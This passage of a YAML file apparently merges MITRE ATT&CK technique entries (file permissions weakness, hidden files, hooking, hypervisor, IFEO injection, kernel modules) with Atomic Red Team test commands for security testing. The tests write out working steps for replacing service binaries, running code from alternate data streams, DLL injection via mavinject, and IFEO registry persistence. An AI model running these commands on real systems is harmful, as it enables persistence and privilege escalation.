x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:43.063Z' + x_mitre_effective_permissions: + - SYSTEM + - User + - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1044 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1044 + - source_name: capec + external_id: CAPEC-17 + url: https://capec.mitre.org/data/definitions/17.html + - source_name: Mozilla Firefox Installer DLL Hijack + description: Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory + 2012-98. Retrieved March 10, 2017. + url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/ + - source_name: Seclists Kanthak 7zip Installer + description: "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL + (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. + Retrieved March 10, 2017." + url: http://seclists.org/fulldisclosure/2015/Dec/34 + modified: '2019-07-17T21:22:37.100Z' + identifier: T1044 + atomic_tests: + - name: File System Permissions Weakness + description: "This test to show checking file system permissions weakness and + which can lead to privilege escalation by replacing malicious file. Example; + check weak file permission and then replace.\npowershell -c \"Get-WmiObject + win32_service | select PathName\" (check service file location) and \ncopy + /Y C:\\temp\\payload.exe C:\\ProgramData\\folder\\Update\\weakpermissionfile.exe + \ ( replace weak permission file with malicious file )\n" + supported_platforms: + - windows + input_arguments: + weak_permission_file: + description: check weak files permission + type: path + default: GoogleUpdate.exe + executor: + name: powershell + elevation_required: false + command: | + Get-WmiObject win32_service | select PathName + get-acl "C:\Program Files (x86)\Google\Update\#{weak_permission_file}" | FL | findstr "FullControl" + T1158: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Hidden Files and Directories + description: |- + To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). + + Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. + + ### Windows + + Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”. + + ### Linux/Mac + + Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application. + + ### Mac + + Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). + Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. + id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + x_mitre_detection: Monitor the file system and shell commands for files being + created with a leading "." and the Windows command-line use of attrib.exe + to add the hidden attribute. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1158 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1158 + - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + source_name: Sofacy Komplex Trojan + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + source_name: Antiquated Mac Malware + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + Retrieved July 10, 2017.' + source_name: WireLurker + url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + x_mitre_defense_bypassed: + - Host forensic analysis + identifier: T1158 + atomic_tests: + - name: Create a hidden file in a hidden directory + description: 'Creates a hidden file inside a hidden directory + + ' + supported_platforms: + - linux + - macos + executor: + name: sh + elevation_required: false + command: | + mkdir /var/tmp/.hidden-directory + echo "T1158" > /var/tmp/.hidden-directory/.hidden-file + cleanup_command: 'rm -rf /var/tmp/.hidden-directory/ + + ' + - name: Mac Hidden file + description: 'Hide a file on MacOS + + ' + supported_platforms: + - macos + executor: + name: sh + elevation_required: false + command: 'xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 + 40 00 FF FF FF FF 00 00" + + ' + - name: Create Windows System File with Attrib + description: 'Creates a file and marks it as a system file using the attrib.exe + utility. + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + echo T1158 > %TEMP%\T1158.txt + attrib.exe +s %TEMP%\T1158.txt + cleanup_command: 'del /A:S %TEMP%\T1158.txt >nul 2>&1 + + ' + - name: Create Windows Hidden File with Attrib + description: 'Creates a file and marks it as hidden using the attrib.exe utility. + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + echo T1158_hidden > %TEMP%\T1158_hidden.txt + attrib.exe +h %TEMP%\T1158_hidden.txt + cleanup_command: 'del /A:H %TEMP%\T1158_hidden.txt >nul 2>&1 + + ' + - name: Hidden files + description: 'Requires Apple Dev Tools + + ' + supported_platforms: + - macos + input_arguments: + filename: + description: path of file to hide + type: path + default: "/tmp/evil" + executor: + name: sh + elevation_required: false + command: 'setfile -a V #{filename} + + ' + - name: Hide a Directory + description: 'Hide a directory on MacOS + + ' + supported_platforms: + - macos + executor: + name: sh + elevation_required: false + command: | + touch /var/tmp/T1158_mac.txt + chflags hidden /var/tmp/T1158_mac.txt + cleanup_command: 'rm /var/tmp/T1158_mac.txt + + ' + - name: Show all hidden files + description: 'Show all hidden files on MacOS + + ' + supported_platforms: + - macos + executor: + name: sh + elevation_required: false + command: 'defaults write com.apple.finder AppleShowAllFiles YES + + ' + cleanup_command: 'defaults write com.apple.finder AppleShowAllFiles NO + + ' + - name: Create ADS command prompt + description: 'Create an Alternate Data Stream with the command prompt. Write + access is required. + + ' + supported_platforms: + - windows + input_arguments: + file_name: + description: File name of file to create ADS on. + type: string + default: test.txt + ads_filename: + description: Name of ADS file. + type: string + default: adstest.txt + executor: + name: command_prompt + elevation_required: false + command: | + echo "Normal Text." > #{file_name} + echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename} + for /f "usebackq delims=╧å" %i in (#{file_name}:#{ads_filename}) do %i + cleanup_command: 'del #{file_name} >nul 2>&1 + + ' + - name: Create ADS PowerShell + description: 'Create an Alternate Data Stream with PowerShell. Write access + is required. + + ' + supported_platforms: + - windows + input_arguments: + file_name: + description: File name of file to create ADS on. + type: string + default: test.txt + ads_filename: + description: Name of ADS file. + type: string + default: adstest.txt + executor: + name: powershell + elevation_required: false + command: | + echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test" + set-content -path #{file_name} -stream #{ads_filename} -value "test2" + set-content -path . -stream #{ads_filename} -value "test3" + ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname + cleanup_command: 'Remove-Item -Path #{file_name} -ErrorAction Ignore + + ' + T1179: + technique: + x_mitre_data_sources: + - API monitoring + - Binary file metadata + - DLL monitoring + - Loaded DLLs + - Process monitoring + - Windows event logs + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Hooking + description: "Windows processes often leverage application programming interface + (API) functions to perform tasks that require reusable system resources. Windows + API functions are typically stored in dynamic-link libraries (DLLs) as exported + functions. \n\nHooking involves redirecting calls to these functions and can + be implemented via:\n\n* **Hooks procedures**, which intercept and execute + designated code in response to events such as messages, keystrokes, and mouse + inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection + July 2017)\n* **Import address table (IAT) hooking**, which use modifications + to a process’s IAT, where pointers to imported API functions are stored. (Citation: + Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks + Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, + which overwrites the first bytes in an API function to redirect code flow. + (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge + Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar + to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries + may use hooking to load and execute malicious code within the context of another + process, masking the execution while also allowing access to the process's + memory and possibly elevated privileges. Installing hooking mechanisms may + also provide Persistence via continuous invocation when the functions are + called through normal use.\n\nMalicious hooking mechanisms may also capture + API calls that include parameters that reveal user authentication credentials + for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept + 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s + to conceal files, processes, Registry keys, and other objects in order to + hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" + id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + + Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. + + Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) + + Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1179 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1179 + - source_name: Microsoft Hook Overview + description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Adlice Software IAT Hooks Oct 2014 + description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. + Retrieved December 12, 2017.' + url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ + - source_name: MWRInfoSecurity Dynamic Hooking 2015 + description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User + Mode. Retrieved December 20, 2017.' + url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ + - source_name: HighTech Bridge Inline Hooking Sept 2011 + description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + December 12, 2017. + url: https://www.exploit-db.com/docs/17802.pdf + - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 + description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. + Retrieved December 18, 2017. + - source_name: Symantec Windows Rootkits + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + 21, 2017. + url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + - source_name: Volatility Detecting Hooks Sept 2012 + description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware + Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. + url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html + - source_name: PreKageo Winhook Jul 2011 + description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. + url: https://github.com/prekageo/winhook + - source_name: Jay GetHooks Sept 2011 + description: Satiro, J. (2011, September 14). GetHooks. Retrieved December + 12, 2017. + url: https://github.com/jay/gethooks + - source_name: Zairon Hooking Dec 2006 + description: Felici, M. (2006, December 6). Any application-defined hook procedure + on my machine?. Retrieved December 12, 2017. + url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ + - source_name: EyeofRa Detecting Hooking June 2017 + description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense + against user-land. Retrieved December 12, 2017.' + url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ + - source_name: GMER Rootkits + description: GMER. (n.d.). GMER. Retrieved December 12, 2017. + url: http://www.gmer.net/ + - source_name: Microsoft Process Snapshot + description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved + December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx + - source_name: StackExchange Hooks Jul 2012 + description: Stack Exchange - Security. (2012, July 31). What are the methods + to find hooked functions and APIs?. Retrieved December 12, 2017. + url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis + modified: '2019-04-03T15:02:18.662Z' + identifier: T1179 + atomic_tests: + - name: Hook PowerShell TLS Encrypt/Decrypt Messages + description: 'Hooks functions in PowerShell to read TLS Communications + + ' + supported_platforms: + - windows + input_arguments: + file_name: + description: Dll To Inject + type: Path + default: PathToAtomicsFolder\T1179\bin\T1179x64.dll + server_name: + description: TLS Server To Test Get Request + type: Url + default: https://www.example.com + dependency_executor_name: powershell + dependencies: + - description: T1179x64.dll must exist on disk at specified location (#{file_name}) + prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1179/bin/T1179x64.dll" -OutFile "#{file_name}" + executor: + name: powershell + elevation_required: true + command: | + mavinject $pid /INJECTRUNNING #{file_name} + curl #{server_name} + T1062: + technique: + x_mitre_data_sources: + - System calls + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Hypervisor + description: 'A type-1 hypervisor is a software layer that sits between the + guest operating systems and system''s hardware. (Citation: Wikipedia Hypervisor) + It presents a virtual running environment to an operating system. An example + of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor + operates at a level below the operating system and could be designed with + [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide + its existence from the guest operating system. (Citation: Myers 2007) A malicious + hypervisor of this nature could be used to persist on systems through interruption.' + id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: 'Type-1 hypervisors may be detected by performing timing + analysis. Hypervisors emulate certain CPU instructions that would normally + be executed by the hardware. If an instruction takes orders of magnitude longer + to execute than normal on a system that should not contain a hypervisor, one + may be present. (Citation: virtualization.info 2006)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:50.958Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1062 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1062 + - external_id: CAPEC-552 + source_name: capec + url: https://capec.mitre.org/data/definitions/552.html + - description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014. + source_name: Wikipedia Xen + url: http://en.wikipedia.org/wiki/Xen + - description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted + Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014. + source_name: Myers 2007 + url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf + - description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee). + (2006, August 11). Debunking Blue Pill myth [Interview transcript]. + Retrieved November 13, 2014. + source_name: virtualization.info 2006 + url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html + - description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016. + source_name: Wikipedia Hypervisor + url: https://en.wikipedia.org/wiki/Hypervisor + modified: '2018-10-17T00:14:20.652Z' + identifier: T1062 + atomic_tests: + - name: Installing Hyper-V Feature + description: | + PowerShell command to check if Hyper-v is installed. + Install Hyper-V feature. + Create a New-VM + + Upon successful execution, powershell will check if Hyper-V is installed, if not, install it and create a base vm. Output will be via stdout. + supported_platforms: + - windows + input_arguments: + hostname: + description: Host to query to see if Hyper-V feature is installed. + type: string + default: test-vm + vm_name: + description: Create a new VM. + type: string + default: testvm + file_location: + description: Location of new VHDX file + type: string + default: C:\Temp\test.vhdx + executor: + name: powershell + command: | + Get-WindowsFeature -Name Hyper-V -ComputerName #{hostname} + Install-WindowsFeature -Name Hyper-V -ComputerName #{hostname} -IncludeManagementTools + New-VM -Name #{vm_name} -MemoryStartupBytes 1GB -NewVHDPath #{file_location} -NewVHDSizeBytes 21474836480 + T1183: + technique: + x_mitre_data_sources: + - Process monitoring + - Windows Registry + - Windows event logs + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Image File Execution Options Injection + description: |- + Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) + + IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) + + An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) + + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" + + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. + + Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: defense-evasion + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe + created: '2018-01-16T16:13:52.465Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1183 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1183 + - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + Retrieved December 18, 2017. + source_name: Microsoft Dev Blog IFEO Mar 2010 + url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + 18, 2017. + source_name: Microsoft GFlags Mar 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + Retrieved December 18, 2017. + source_name: FSecure Hupigon + url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + 18, 2017. + source_name: Symantec Ushedix June 2008 + url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + x_mitre_defense_bypassed: + - Autoruns Analysis + identifier: T1183 + atomic_tests: + - name: IFEO Add Debugger + description: 'Leverage Global Flags Settings + + ' + supported_platforms: + - windows + input_arguments: + target_binary: + description: Binary To Attach To + type: Path + default: C:\Windows\System32\calc.exe + payload_binary: + description: Binary To Execute + type: Path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + elevation_required: true + command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image + File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" + + ' + cleanup_command: 'reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image + File Execution Options\#{target_binary}" /v Debugger /f + + ' + - name: IFEO Global Flags + description: 'Leverage Global Flags Settings + + ' + supported_platforms: + - windows + input_arguments: + target_binary: + description: Binary To Attach To + type: Path + default: C:\Windows\System32\notepad.exe + payload_binary: + description: Binary To Execute + type: Path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + elevation_required: true + command: | + REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 + REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 + REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}" + cleanup_command: | + reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f + reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f + reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f + T1215: + technique: + x_mitre_permissions_required: + - root + x_mitre_data_sources: + - System calls + - Process monitoring + - Process command-line parameters + name: Kernel Modules and Extensions + description: |- + Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine) + + Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview) + + Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir) + id: attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) + + Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.  + These are typically obtained through the operating systems package manager and installed like a normal package. + + Adversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) + + On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) + + On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) + + Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) + + For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Jeremy Galloway + - Red Canary + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1215 + url: https://attack.mitre.org/techniques/T1215 + - description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel + Module Programming Guide. Retrieved April 6, 2018. + source_name: Linux Kernel Programming + url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf + - source_name: Linux Kernel Module Programming Guide + description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. + Retrieved April 6, 2018. + url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html + - source_name: Volatility Phalanx2 + description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility + to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.' + url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html + - source_name: CrowdStrike Linux Rootkit + description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. + Retrieved December 21, 2017. + url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ + - source_name: GitHub Reptile + description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved + April 9, 2018. + url: https://github.com/f0rb1dd3n/Reptile + - source_name: GitHub Diamorphine + description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux + Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. + url: https://github.com/m0nad/Diamorphine + - source_name: iDefense Rootkit Overview + description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved + April 6, 2018. + url: http://www.megasecurity.org/papers/Rootkits.pdf + - source_name: 